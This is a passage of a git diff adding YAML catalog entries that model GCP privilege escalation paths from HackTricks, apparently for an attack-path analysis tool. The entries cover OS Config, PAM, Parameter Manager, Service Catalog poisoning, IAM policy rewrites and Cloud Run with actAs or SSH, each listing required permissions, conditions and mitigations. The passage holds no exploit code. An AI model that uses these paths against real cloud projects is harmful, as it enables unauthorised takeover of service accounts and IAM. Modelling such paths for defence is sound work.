on the VM and the VM needs egress to the control plane; execution happens on the agent polling interval. + - id: update_requires_existing + description: The update-only path needs an existing assignment whose instance filter (or a filter the source can change) matches the VM. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/osconfig.osPolicyAssignmentAdmin/Editor and roles/osconfig.guestPolicyAdmin. + references: + - https://docs.cloud.google.com/compute/vm-manager/docs/os-policies/working-with-os-policies + notes: OS policy assignments are zonal and exec resources accept inline scripts. Legacy guest policies are modelled by gcp-osconfig-guestpolicies-recipe and policy orchestrators by gcp-osconfig-policyorchestrators. + +- id: gcp-osconfig-guestpolicies-recipe + provider: gcp + service: osconfig + title: Run a root software-recipe script on project VMs through a legacy OS Config guest policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#legacy-guest-policy-write---run-an-inline-software-recipe-script + source_revision: 171e422 + summary: The source can obtain the privileges of the service accounts attached to OS Config-managed VMs of every project where it can create or update legacy guest policies. + requires: + any_of: + - - action: osconfig.guestPolicies.create + resource: "{target.project}" + - - action: osconfig.guestPolicies.update + resource: "{target.project}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + scope: same_project + aggregate_as: "SAs of OS Config-managed VMs in {project}" + conditions: + - id: legacy_feature + description: The Beta guest-policy feature and an OS Config agent that processes it must be active on matching VMs, with an attached SA and service connectivity. + - id: run_once + description: A recipe with a given name runs once; update-only needs an existing policy and a renamed recipe or a higher UPDATED version to re-run. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/osconfig.guestPolicyAdmin/Editor and migrate off legacy guest policies. + references: + - https://docs.cloud.google.com/compute/vm-manager/docs/guest-policies/create-guest-policy + notes: No actAs, SSH or metadata permission is needed; the agent runs recipes as root/LocalSystem on standard images. + +- id: gcp-osconfig-policyorchestrators + provider: gcp + service: osconfig + title: Propagate a root OS policy to VMs across projects with an OS Config policy orchestrator + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#osconfigpolicyorchestratorscreate-or-update---propagate-a-privileged-policy-across-projects-and-zones + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service accounts attached to OS Config-managed VMs in every project under the project, folder or organization where it can create or update policy + orchestrators. + requires: + any_of: + - - action: osconfig.policyOrchestrators.create + resource: '{target.project}' + - - action: osconfig.policyOrchestrators.update + resource: '{target.project}' + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + scope: any + aggregate_as: SAs of OS Config-managed VMs under the orchestrator parent + conditions: + - id: service_agents + description: The OS Config, OS Config rollout and Progressive Rollout service agents of the parent must exist with their service-agent roles; folder/organization calls need a billing-enabled quota project + and serviceusage.services.use. + - id: update_variant + description: With osconfig.policyOrchestrators.update the reach is limited to the selectors and filters of the existing orchestrators (which the source can rewrite). + - id: agent_enabled + description: Each target VM still needs the GA OS-policy prerequisites (active agent, attached SA, connectivity) and must match the selectors and filters. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict roles/osconfig.policyOrchestratorAdmin and roles/osconfig.admin at folder and organization level. + references: + - https://docs.cloud.google.com/compute/vm-manager/docs/os-policies/use-policy-orchestrator + notes: The permission is checked on the orchestrator parent; a folder/organization grant inherits to every descendant project, which "{target.project}" captures. Reconciliation reapplies the assignment + every six hours. diff --git a/src/privilege-escalation-paths-research/gcp/pam.yaml b/src/privilege-escalation-paths-research/gcp/pam.yaml new file mode 100644 index 0000000000..4f58004f0c --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/pam.yaml @@ -0,0 +1,42 @@ + +# GCP Privileged Access Manager privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-pam-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Proposed selector gcp_pam_entitlement_requester (not yet in schema.py): the source is a requester principal (directly or +# through group membership) of a PAM entitlement on {target.scope} whose role bindings give IAM control of that scope. +# Requesters need no IAM/PAM permission; PAM rejects self-approval, so approval workflows are a condition. + +- id: gcp-pam-entitlement-request-grant + provider: gcp + service: privilegedaccessmanager + title: Request a temporary IAM-admin grant through a PAM entitlement the source is eligible for + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pam-privesc.md#activate-a-stronger-role-through-an-existing-entitlement + source_revision: 6fb9ac51fd + summary: A principal listed as a requester of a Privileged Access Manager entitlement can temporarily obtain the entitlement's roles on its project, folder or organization; when those roles manage IAM, it gains IAM control of that scope. + source_kind: [gcp_user, gcp_service_account] + requires: + all_of: [] + target: + kind: gcp_scope_owner + selector: + gcp_pam_entitlement_requester: true + scope: inherited_scope + outcome: role_activation + aggregate_as: "IAM control of {target.scope} through a PAM entitlement" + conditions: + - id: approval_workflow + description: Entitlements with "Activate access without approvals" activate at the requested time; otherwise the required number of other approvers must approve, because PAM does not allow approving your own request. + - id: role_offered + description: Only the entitlement's roles, IAM conditions and maximum duration are granted (legacy Owner/Editor/Viewer are not supported); escalation to scope owner needs an IAM-management role, otherwise the impact is that role's permissions for the grant duration. + - id: pam_service_agent + description: PAM must be onboarded at the scope and its service agent must keep authority to add and remove the temporary binding. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Require approval on entitlements offering IAM-management roles, keep requester lists small and avoid broad groups as requesters. + references: + - https://docs.cloud.google.com/iam/docs/pam-permissions-and-setup + - https://docs.cloud.google.com/iam/docs/pam-create-entitlements + - https://docs.cloud.google.com/iam/docs/pam-approve-deny-grants + notes: Google states requesters and approvers need no PAM-specific permissions and that you cannot approve your own request. Entitlement creation needs the scope's setIamPolicy, so it is not modelled as an escalation. Outcome role_activation (time-bound activation of an eligible role, like Entra PIM) replaces the default scope_control because full scope control holds only when the offered role manages IAM. The evaluator still returns None for gcp_pam_entitlement_requester, so the edge is not emitted until the collector reads entitlements. This rule is limited to IAM-management entitlements; non-admin offered roles need the separate role-specific model in gap-12. diff --git a/src/privilege-escalation-paths-research/gcp/parametermanager.yaml b/src/privilege-escalation-paths-research/gcp/parametermanager.yaml new file mode 100644 index 0000000000..dbfddbfe60 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/parametermanager.yaml @@ -0,0 +1,93 @@ +- id: gcp-parametermanager-version-render-credential + provider: gcp + service: parametermanager + title: Render a parameter version to recover a stronger credential + source: src/pentesting-cloud/gcp-security/gcp-services/gcp-parameter-manager-enum.md#relevant-permissions + summary: Render resolves a Secret Manager reference as the parameter identity and returns a credential the caller + cannot access directly. + requires: + all_of: + - action: parametermanager.parameterVersions.render + resource: '*' + target: + kind: gcp_service_account + outcome: credentials + scope: any + selector: + gcp_challenge_fact: gcp-parametermanager-version-render-credential + conditions: + - A version embeds a __REF__ to a Secret Manager version holding a stronger credential. + - The parameter/template service identity can access that secret; the caller can render the version. + - The returned payload must actually contain a usable credential. + confidence: conditional + severity: high + mitigation: Restrict render grants; scope the parameter identity’s Secret Manager access. + references: + - https://cloud.google.com/secret-manager/parameter-manager/docs/reference-secrets + notes: Exact verified source/resource/target fact is mandatory. Missing evidence evaluates UNKNOWN. Only a validated + stronger service-account credential qualifies; arbitrary content is data. + source_revision: 0b36331 +- id: gcp-parametermanager-template-render-credential + provider: gcp + service: parametermanager + title: Render a template version to recover a stronger credential + source: src/pentesting-cloud/gcp-security/gcp-services/gcp-parameter-manager-enum.md#relevant-permissions + summary: Render resolves a Secret Manager reference as the parameter identity and returns a credential the caller + cannot access directly. + requires: + all_of: + - action: parametermanager.templateVersions.render + resource: '*' + target: + kind: gcp_service_account + outcome: credentials + scope: any + selector: + gcp_challenge_fact: gcp-parametermanager-template-render-credential + conditions: + - A version embeds a __REF__ to a Secret Manager version holding a stronger credential. + - The parameter/template service identity can access that secret; the caller can render the version. + - The returned payload must actually contain a usable credential. + confidence: conditional + severity: high + mitigation: Restrict render grants; scope the parameter identity’s Secret Manager access. + references: + - https://cloud.google.com/secret-manager/parameter-manager/docs/reference-secrets + notes: Exact verified source/resource/target fact is mandatory. Missing evidence evaluates UNKNOWN. Only a validated + stronger service-account credential qualifies; arbitrary content is data. + source_revision: 0b36331 +- id: gcp-parametermanager-write-reference-render-credential + provider: gcp + service: parametermanager + title: Insert a secret reference and render it through Parameter Manager identity + source: src/pentesting-cloud/gcp-security/gcp-services/gcp-parameter-manager-enum.md#relevant-permissions + summary: A caller able to write a parameter version and render it can cause the parameter identity to dereference + a credential-bearing Secret Manager version it can access. + requires: + any_of: + - - action: parametermanager.parameterVersions.create + resource: '*' + - action: parametermanager.parameterVersions.render + resource: '*' + - - action: parametermanager.parameterVersions.update + resource: '*' + - action: parametermanager.parameterVersions.render + resource: '*' + target: + kind: gcp_service_account + outcome: credentials + scope: any + selector: + gcp_challenge_fact: gcp-parametermanager-write-reference-render-credential + conditions: + - Parameter identity can access the chosen secret; the written __REF__ is accepted; the caller can render the + resulting version. + - Referenced secret contains a usable stronger credential; target relation needs content evidence. + confidence: conditional + severity: high + mitigation: Do not give untrusted principals both version write and render on identities with broad secret access. + references: + - https://cloud.google.com/secret-manager/parameter-manager/docs/reference-secrets + notes: Exact verified source/resource/target fact is mandatory. Missing evidence evaluates UNKNOWN. Only a validated + stronger service-account credential qualifies; arbitrary content is data. + source_revision: 0b36331 diff --git a/src/privilege-escalation-paths-research/gcp/privatecatalog.yaml b/src/privilege-escalation-paths-research/gcp/privatecatalog.yaml new file mode 100644 index 0000000000..31bf9df8d4 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/privatecatalog.yaml @@ -0,0 +1,97 @@ + +# GCP Service Catalog (formerly Private Catalog) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-private-catalog-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-privatecatalog-product-version-poison + provider: gcp + service: cloudprivatecatalogproducer + title: Replace the template of a shared Service Catalog solution version that consumers deploy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-private-catalog-privesc.md#cloudprivatecatalogproducerproductsupdate--poison-an-existing-deployable-solution-version + source_revision: 171e422 + summary: The source can make the Google APIs Service Agent of consumer projects that later deploy a shared solution version it can update create attacker-chosen resources. + requires: + any_of: + - - action: cloudprivatecatalogproducer.products.update + resource: "*" + - - action: cloudprivatecatalogproducer.products.setIamPolicy + resource: "*" + target: + kind: gcp_service_account + selector: + attached_to_service: cloudservices_agent + scope: any + aggregate_as: "Google APIs Service Agents of projects deploying poisoned Service Catalog solutions" + conditions: + - id: consumer_deploys + description: A consumer must explicitly preview, deploy or update the poisoned version in their project; nothing runs at update time. + - id: attached_catalog + description: The product must already be attached to a catalog associated with the consumer hierarchy, and the modified asset must pass validation. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Restrict cloudprivatecatalogproducer editor/admin roles and review solution versions before consumers deploy them. + references: + - https://docs.cloud.google.com/service-catalog/docs/create-solutions + notes: Deployment Manager branch only; Terraform uses the consumer Cloud Build SA (gap-04). Product setIamPolicy can self-grant update on the same existing product. +- id: gcp-privatecatalog-terraform-version-poison + provider: gcp + service: cloudprivatecatalogproducer + title: Poison a Terraform solution deployed by a consumer + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-private-catalog-privesc.md#cloudprivatecatalogproducerproductsupdate--poison-an-existing-deployable-solution-version + summary: Product-version update can cause a later consumer deployment to execute attacker content as its Cloud + Build identity. + requires: + all_of: + - action: cloudprivatecatalogproducer.products.update + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-privatecatalog-terraform-version-poison + scope: any + conditions: + - id: terraform_consumer_deploys + description: An attached Terraform solution version must be selected for a consumer deployment; its configured + or default Cloud Build service account must execute the modified asset and hold privileges beyond the source. + confidence: conditional + severity: high + mitigation: Restrict producer updates and review version assets before consumer deployment. + references: + - https://docs.cloud.google.com/service-catalog/docs/overview + source_revision: 0b36331 + notes: Exact source/resource/target evidence must be emitted in gcp_privesc_challenge_evidence from the requested + collector. Missing evidence is UNKNOWN; do not infer any other service account. +- id: gcp-s08-16-associate-poisoned-catalog-with-additional-consumer-hie + provider: gcp + service: privatecatalog + title: Associate poisoned catalog with additional consumer hierarchy + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-private-catalog-persistence.md#durable-poisoned-product-in-an-associated-catalog + summary: Associate an attacker-controlled poisoned product with a new consumer hierarchy; a consumer deployment + then executes its template. + requires: + all_of: [] + any_of: + - - action: cloudprivatecatalogproducer.catalogAssociations.create + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-s08-16-associate-poisoned-catalog-with-additional-consumer-hie + scope: any + aggregate_as: Consumer service agent of exact catalog deployment + conditions: + - id: exact_verified_prerequisites + description: Require controlled poisoned product/version, exact association to consumer folder/org, deployment + of that version and execution identity. Missing facts must evaluate UNKNOWN; emit no derived path. + confidence: conditional + severity: high + mitigation: Restrict the named permission and review the exact resource and resulting grant. + references: + - https://cloud.hacktricks.wiki/pentesting-cloud/gcp-security/gcp-persistence/gcp-private-catalog-persistence.md + notes: Draft only. The selector is a schema-valid placeholder for the feature or collector specified in this + fragment. diff --git a/src/privilege-escalation-paths-research/gcp/resourcemanager.yaml b/src/privilege-escalation-paths-research/gcp/resourcemanager.yaml new file mode 100644 index 0000000000..ac943c9660 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/resourcemanager.yaml @@ -0,0 +1,86 @@ +# GCP Resource Manager (organization / folder / project IAM) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-resourcemanager-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Writing the IAM policy of a node grants any role on it and, through inheritance, on all descendants. + +- id: gcp-resourcemanager-organizations-setiampolicy + provider: gcp + service: resourcemanager + title: Rewrite the organization IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: The source can obtain the privileges of the owner of every organization on which it holds resourcemanager.organizations.setIamPolicy. + requires: + all_of: + - action: resourcemanager.organizations.setIamPolicy + resource: "{target.scope}" + target: + kind: gcp_scope_owner + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "Organizations whose IAM policy the source controls" + conditions: + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for principals outside allowed domains. + blockers: + - gcp_deny_policy + confidence: derived + severity: critical + mitigation: Restrict roles/resourcemanager.organizationAdmin and roles/iam.securityAdmin at the organization to break-glass identities. + references: + - https://cloud.google.com/resource-manager/docs/access-control-org + +- id: gcp-resourcemanager-folders-setiampolicy + provider: gcp + service: resourcemanager + title: Rewrite a folder IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: The source can obtain the privileges of the owner of every folder (and its subtree) on which it holds resourcemanager.folders.setIamPolicy. + requires: + all_of: + - action: resourcemanager.folders.setIamPolicy + resource: "{target.scope}" + target: + kind: gcp_scope_owner + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "Folders whose IAM policy the source controls" + conditions: + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for principals outside allowed domains. + blockers: + - gcp_deny_policy + confidence: derived + severity: critical + mitigation: Restrict roles/resourcemanager.folderAdmin and roles/resourcemanager.folderIamAdmin. + +- id: gcp-resourcemanager-projects-setiampolicy + provider: gcp + service: resourcemanager + title: Rewrite a project IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: The source can obtain the privileges of the owner of every project on which it holds resourcemanager.projects.setIamPolicy. + requires: + all_of: + - action: resourcemanager.projects.setIamPolicy + resource: "{target.scope}" + target: + kind: gcp_scope_owner + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "Projects whose IAM policy the source controls" + conditions: + - id: owner_invite + description: Granting roles/owner to a user outside the organization through the API may require an invitation flow; other admin-equivalent roles (e.g. roles/resourcemanager.projectIamAdmin plus service roles) are directly grantable. + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for principals outside allowed domains. + blockers: + - gcp_deny_policy + confidence: derived + severity: critical + mitigation: Restrict roles/resourcemanager.projectIamAdmin, roles/iam.securityAdmin and roles/owner. diff --git a/src/privilege-escalation-paths-research/gcp/run.yaml b/src/privilege-escalation-paths-research/gcp/run.yaml new file mode 100644 index 0000000000..1da409bc39 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/run.yaml @@ -0,0 +1,443 @@ +# GCP Cloud Run (services, jobs, worker pools) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-run-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# actAs is enforced at create/update on the runtime SA (the Compute default SA when none is set); it is NOT re-checked at +# execution, so execution-time levers on an existing resource reach its pinned SA without actAs. + +- id: gcp-run-services-create-actas + provider: gcp + service: run + title: Deploy a Cloud Run service running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicescreate--iamserviceaccountsactas-runroutesinvoke + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: run.services.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Run service identity in {project}" + conditions: + - id: invoke_path + description: run.routes.invoke (or a public service) is needed only to trigger request-time code; container startup code runs without invocation. + - id: cross_project_sa + description: Cross-project SAs only when iam.disableCrossProjectServiceAccountUsage is not enforced; not modelled. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs (roles/iam.serviceAccountUser) only on specific SAs; restrict roles/run.developer and roles/run.admin. + references: + - https://cloud.google.com/run/docs/securing/service-identity + notes: Some clients also need run.services.update for the deploy path (HackTricks). + +- id: gcp-run-services-update-actas + provider: gcp + service: run + title: Redeploy an existing Cloud Run service with new code, environment or identity + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicesupdate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, by updating an existing service. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: run.services.update + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts attachable to existing Cloud Run services in {project}" + conditions: + - id: existing_service + description: Needs an existing service on which run.services.update holds. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Restrict run.services.update and grant actAs only on specific SAs. + notes: The environment-only variant keeps the image and needs a startup hook payload already readable in the container. + +- id: gcp-run-services-setiampolicy-actas + provider: gcp + service: run + title: Self-grant update rights on a Cloud Run service through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicessetiampolicy + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of every Cloud Run service on which it holds run.services.setIamPolicy and actAs on that SA. + requires: + all_of: + - action: run.services.setIamPolicy + resource: "{target.host_resource}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: run_service + gcp_actas_granted_on_target: true + scope: same_project + aggregate_as: "SAs of Cloud Run services whose IAM policy the source controls" + conditions: + - id: followup_update + description: The self-granted update still requires actAs on the service identity. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict run.services.setIamPolicy (roles/run.admin, roles/owner). + +- id: gcp-run-jobs-create-run-actas + provider: gcp + service: run + title: Create and execute a Cloud Run job running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobscreate-runjobsrun-iamserviceaccountsactasrunjobsget + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: run.jobs.create + resource: "*" + - action: run.jobs.run + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Run job identity in {project}" + conditions: + - id: cross_project_sa + description: Cross-project SAs only when iam.disableCrossProjectServiceAccountUsage is not enforced; not modelled. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on specific SAs; roles/editor bundles both actAs and job create/run. + notes: Omitting the SA does not bypass actAs; it is enforced on the Compute default SA. No ingress is needed. + +- id: gcp-run-jobs-update-run-actas + provider: gcp + service: run + title: Update and execute an existing Cloud Run job with new code or identity + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobsupdaterunjobsruniamserviceaccountsactasrunjobsget + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, by updating an existing job. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: run.jobs.update + resource: "*" + - action: run.jobs.run + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts attachable to existing Cloud Run jobs in {project}" + conditions: + - id: existing_job + description: Needs an existing job on which update and run hold. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Restrict run.jobs.update and grant actAs only on specific SAs. + +- id: gcp-run-jobs-setiampolicy + provider: gcp + service: run + title: Self-grant execute-with-overrides on an existing Cloud Run job through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobssetiampolicy + source_revision: 171e422 + summary: The source can obtain the privileges of the service account pinned to every Cloud Run job on which it holds run.jobs.setIamPolicy. + requires: + all_of: + - action: run.jobs.setIamPolicy + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: run_job + scope: same_project + aggregate_as: "SAs pinned to Cloud Run jobs whose IAM policy the source controls" + conditions: + - id: override_injectable + description: Without actAs, the self-granted run/runWithOverrides only lets the source change args and env of the pinned image; code execution depends on the image honoring an injectable argument or interpreter startup variable. + - id: actas_alternative + description: With actAs on the pinned SA the source can instead self-grant run.jobs.update and replace the code (unconditional). + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict run.jobs.setIamPolicy (roles/run.admin, roles/owner) and avoid pinning privileged SAs to jobs. + +- id: gcp-run-jobs-runwithoverrides + provider: gcp + service: run + title: Execute an existing Cloud Run job with overridden args or environment + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobsrun-runjobsrunwithoverrides-runjobsget + source_revision: 171e422 + summary: The source can obtain the privileges of the service account pinned to every Cloud Run job on which it holds run.jobs.run and run.jobs.runWithOverrides. + requires: + all_of: + - action: run.jobs.run + resource: "{target.host_resource}" + - action: run.jobs.runWithOverrides + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: run_job + scope: same_project + aggregate_as: "SAs pinned to Cloud Run jobs the source can run with overrides" + conditions: + - id: override_injectable + description: Overrides can change only container args, env, task count, timeout and delay (not image, command or SA); execution of attacker code depends on the image's entrypoint or interpreter honoring them, and file-backed hooks need a payload already readable in the container. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Do not grant roles/run.jobsExecutorWithOverrides on jobs pinned to privileged SAs. + notes: No actAs is needed because the run-as identity is fixed at create/update. + +- id: gcp-run-workerpools-create-update-actas + provider: gcp + service: run + title: Deploy or update a Cloud Run worker pool running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runworkerpoolscreate--update-iamserviceaccountsactas--a-third-run-as-sa-resource + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + any_of: + - - action: run.workerpools.create + resource: "*" + - - action: run.workerpools.update + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Run worker pool identity in {project}" + conditions: + - id: update_requires_existing + description: The update path needs an existing worker pool. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on specific SAs; restrict run.workerpools create/update. + +- id: gcp-run-ssh-into-running-instance + provider: gcp + service: run + title: SSH into a running Cloud Run container and use its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#cloud-run-instance-ssh--runsshread--runsshroot-exec-inside-a-running-container-as-its-sa-no-actas + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of every running Cloud Run service, job or worker pool on which it holds an SSH permission. + requires: + any_of: + - - action: run.services.sshRoot + resource: "{target.host_resource}" + - - action: run.services.sshRead + resource: "{target.host_resource}" + - - action: run.jobs.sshRoot + resource: "{target.host_resource}" + - - action: run.jobs.sshRead + resource: "{target.host_resource}" + - - action: run.workerpools.sshRoot + resource: "{target.host_resource}" + - - action: run.workerpools.sshRead + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: [run_service, run_job, run_worker_pool] + scope: same_project + aggregate_as: "SAs of running Cloud Run workloads the source can SSH into" + conditions: + - id: early_access + description: The interactive SSH step is early-access/allowlisted; the IAM permissions exist but the exec path may be unavailable to the project. + - id: running_instance + description: Requires a running instance of the workload. + - id: sshread_capability + description: Whether sshRead (non-root) allows metadata-server token access is not documented. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/run.sshRoot and roles/run.sshReader and the run.admin/developer/editor roles on workloads with privileged SAs. + notes: No actAs, create or update needed. + +- id: gcp-run-instances-create-update-actas + provider: gcp + service: run + title: Deploy or update a standalone Cloud Run instance running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicesupdate--iamserviceaccountsactas + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, by attaching it to a Cloud Run instance whose container it controls. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + any_of: + - - action: run.instances.create + resource: "*" + - - action: run.instances.update + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Run instance identity in {project}" + conditions: + - id: preview_feature + description: Cloud Run instances are a preview resource; the API must be available to the project. + - id: update_requires_existing + description: The update path needs an existing instance; actAs is re-checked on its service identity even for an environment-only update. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on specific SAs and restrict run.instances create/update (roles/run.editor, roles/run.admin). + notes: Same run-as-SA boundary as services, jobs and worker pools; HackTricks documents it inside the run.services.update section. + +- id: gcp-run-instances-ssh + provider: gcp + service: run + title: SSH into a running standalone Cloud Run instance and use its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#cloud-run-instance-ssh--runsshread--runsshroot-exec-inside-a-running-container-as-its-sa-no-actas + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service account of every running Cloud Run instance on which it holds run.instances.sshRoot or run.instances.sshRead. + requires: + any_of: + - - action: run.instances.sshRoot + resource: "{target.host_resource}" + - - action: run.instances.sshRead + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: run_instance + scope: same_project + aggregate_as: "SAs of running Cloud Run instances the source can SSH into" + conditions: + - id: early_access + description: The interactive SSH step is early-access/allowlisted; the IAM permissions exist but the exec path may be unavailable to the project. + - id: sshread_capability + description: Whether sshRead (non-root) allows metadata-server token access is not documented. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/run.sshRoot, roles/run.sshReader and roles/run.editor on instances with privileged SAs. + notes: Companion of gcp-run-ssh-into-running-instance for the run.instances resource type (roles/run.sshReader and roles/run.sshRoot cover all four resource types). No actAs, create or update needed. + +- id: gcp-run-workerpools-setiampolicy-actas + provider: gcp + service: run + title: Self-grant update rights on a Cloud Run worker pool through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runworkerpoolscreate--update-iamserviceaccountsactas--a-third-run-as-sa-resource + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service account of every Cloud Run worker pool on which it holds run.workerpools.setIamPolicy and actAs on that SA. + requires: + all_of: + - action: run.workerpools.setIamPolicy + resource: "{target.host_resource}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: run_worker_pool + gcp_actas_granted_on_target: true + scope: same_project + 